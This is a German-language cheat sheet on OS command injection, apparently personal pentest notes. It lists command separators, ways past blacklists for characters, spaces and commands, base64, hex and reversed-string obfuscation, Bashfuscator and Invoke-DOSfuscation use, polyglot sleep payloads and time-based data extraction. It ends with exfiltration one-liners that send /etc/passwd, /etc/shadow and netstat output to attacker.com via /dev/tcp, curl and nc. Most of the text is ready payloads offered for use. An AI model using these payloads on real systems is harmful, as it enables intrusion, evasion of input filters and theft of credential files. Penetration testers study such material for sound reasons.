Skip to content

Command Injection

Manchmal benötigen Applikationen externe Anwendungen auf dem Computer, dazu werden Programme aufgerufen und diese aufgerufen.
Da diese in einer shell Umgebung aufgerufen werden können leicht weitere Kommandos ausgeführt werden. Manchmal ist die kontrollierbare eingabe in anführungszeichen. Dann müssen diese geschlossen werden.
Auch ist es möglich, das #oast Techniken benutzt werden müssen um blind Command Injections auszunutzen.

Purpose Linux Windows
current user whoami whoami
OS uname -a ver
Network configuration ifconfig ipconfig /all
Network connections netstat -an netstat -an
Processes ps -ef tasklist

Tools

commix

Argument Injection

https://sonarsource.github.io/argument-injection-vectors/ Auch kann die Argument injection in Windows mit worst fit benutzt werden. Dabei wird bei der Umwandlung von Konvertierungen nicht existente Zeichen in ähnliche Übersetzt. Auch können Argument Injections auf GtfoArgs gefunden werden.

Kommando separierer

  • &
  • &&
  • |
  • || Die folgenden funktionieren nur unter Unix basierten Systemen:
  • ;
  • command1%0acommand2 # %0a represents \n
  • command1%0dcommand2 # %0d represents \r

Unter Linux ist es zudem möglich die inline execution von Kommandos zu nutzen:

` 
injected command`

$(
injected command)

In einem Kommando

Innerhalb eines Kommandos können auch Befehle ausgeführt werden.
Dazu können entweder Backticks oder die substitution genutzt werden:

command `ls` $(ls)

# Nested substitution
$(echo `whoami`)    # Nested classic in modern
`echo $(hostname)`  # Nested modern in classic

Umgehen von Eingabeschutzmechanismen

Um bad character zu vermeiden kann der Befehl: bash -c '' verwendet werden.

Umgehen von geblacklisteten Zeichen

Um zeichen zu umgehen, können diese von Umgebungsvariablen geholt werden.
Beispielsweise wird aus der Variable ${PATH:0:1} ein / und aus der Variable ${LS_COLORS:10:1} ein ;.
Mit dem Kommando printenv kann nach weiteren nützlichen gesperrten Zeichen gesucht werden.
Eine weitere Möglichkeit ist das character shifting: $(tr '!-}' '"-~'<<<[) -> \.

Umgehung in Windows

Das Umgehen mit geblacklisteten Zeichen ist auch in Windows möglich, wenn auch ein bißchen anders.
Beispielsweise wenn die Variable %HOMEPATH% zu \Users\htb-student auflöst, könnte als Start 6 genutzt werden und als Ende -11: %HOMEPATH:~6,-11%.
In Powershell ist dies noch einfacher, da hier ein Wort ein Array ist: $env:HOMEPATH[0].
In Powershell kann das Kommando Get-ChildItem Env: genutzt werden, um alle Variablen anzuzeigen.

Umgehung geblacklisteter Kommandos

In Linux können geblacklistete Kommandos umgangen werden, indem Zeichen eingefügt werden, die das Kommando nicht verändern.
Dazu gehören die Anführungszeichen, wobei beachtet werden muss, dass diese in gerader Anzahl benutzt werden müssen: w'h'o"am"i.
Weitere Möglichkeiten sind die Nutzung der Zeichen \ und $@: w\h$@oami.
In Windows kann das Zeichen ^ benutzt werden.

Umgehen von geblacklisteten whitespaces

Es kann auch sein, dass whitespaces verboten sind, hierfür ist eine Möglichkeit das Tab %09 welches Betriebssystemunabhängig ist.
Eine weitere Möglichkeit in Linux ist die Variable ${IFS}, welche allerdings nicht in subshells genutzt werden kann.
Zudem gibt es noch die Brace Expansion: {ls,-la} und X=$'cat\x20/etc/passwd'&&$X.

cat</etc/passwd # Line feed tabs
cat$'\x20'/etc/passwd

Umgehung geblacklisteter Kommandos

Auch werden manchmal Kommandos geblacklistet, wobei diese dann so verändert werden müssen, dass sie die Filter umgehen.
Ein Beispiel ist: $(printf "whoami").
Auch ist es möglich dies mit Variablen substitution zu erreichen: COMMAND=whoami;$COMMAND

Umgehung geblacklisteter Pfade

Mithilfe von wildcards ist es möglich geblacklistete Pfade zu umgehen. /???/??t /??c/p??s?? /bin/c?t /etc/p?ssw?

Umgehung durch rückwärtskommandos

Auch ist es möglich Kommandos rückwärts zu schreiben und dies wieder rückgängig zu machen: $(rev<<<'imaohw').
In der Windows Powershell funktioniert dies mit: iex "$('imaohw'[-1..-20] -join '')".

Umgehung von Case sensitivity

Bei Windows kann ausgenutzt werden, dass alle Befehle Case intensitiv interpretiert werden, also Groß/Kleinschreibung ignoriert wird.
Linux hingegen ist case sensitiv, weshalb hier der case angepasst werden muss: $(tr "[A-Z]" "[a-z]"<<<"WhOaMi"). Daneben gibt es auch noch andere Kommandos für Bash wie: $(a="WhOaMi";printf %s "${a,,}").

Umgehung durch Enkodierung

Auch ist es möglich Enkodierungen wie base64 oder xxd zu nutzen: bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIA==).
Bei der enkodierung für Windows, muss zuerst der String von UTF-8 zu UTF-16 konvertiert werden, wenn man auf Linux ist: echo -n whoami | iconv -f utf-8 -t utf-16le | base64.
Nun kann der Befehl iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" genutzt werden für Powershell.

Base64 encoding

echo "Y2F0IC9ldGMvcGFzc3dk"|base64 -d|bash
export CMD="Y2F0IC9ldGMvcGFzc3dk";bash<<<$(base64 -d<<<$CMD)

Hex encoding

bash<<<$(xxd -r -p<<<776863616D69) # whoami in hex

Double encoding

$(echo -e "\x77\x68\x6f\x61\x6d\x69") # whoami in hex

Unicode encoding

㎈㎉㎊㎋㎌㎍㎎ # Using Unicode lookalikes

HTML encoding

&#119;&#104;&#111;&#97;&#109;&#105; # whoami in HTML entities

Obfuskator Script

Mit dem Skript Bashfuscator können toolbasierte Enkodierungen erzeugt werden.

bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1 --test

Ein ähnliches Tool gibt es für Windows den Dosfuscator, dieses kann durch die Installation von Powershell ausgeführt werden.

PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
SET COMMAND type C:\Users\htb-student\Desktop\flag.txt

Polyglot Payloads

Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Zeitbasierte Tests

Linux delay commands

ping -c 10 127.0.0.1 # 10 sekunden verzögerung mit ping
sleep 10 # Schlaf Kommando
perl -e "sleep 10" # Perl basierte verzögerung
python -c "import time; time.sleep(10)" # Python verzögerung

Windows delay commands

ping -n 10 127.0.0.1 # Windows ping verzögerung
timeout 10 # Windows timeout Kommando
Start-Sleep -s 10 # PowerShell Schlafen

Time based Extraktion

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

Argumente nach der Injektion beenden

In Unix Shells kann das -- als Zeichen des Ende eines Kommandos angezeigt werden.
Alle Argumente nach dem -- werden als Dateinamen und Argumente betrachtet aber nicht als Optionen.

Nuclei

Run command injection templates

nuclei -u http://target.com -t cmd-injection/

Run with custom templates

nuclei -u http://target.com -t custom-cmd.yaml

Severity based scanning

nuclei -u http://target.com -t cmd-injection/ -severity critical,high

Daten exfiltration

File reading

$(cat /etc/passwd > /dev/tcp/attacker.com/4444)
; base64 /etc/shadow | curl -d @- http://attacker.com

System enumeration

; find / -perm -4000 2>/dev/null
; netstat -an | nc attacker.com 4444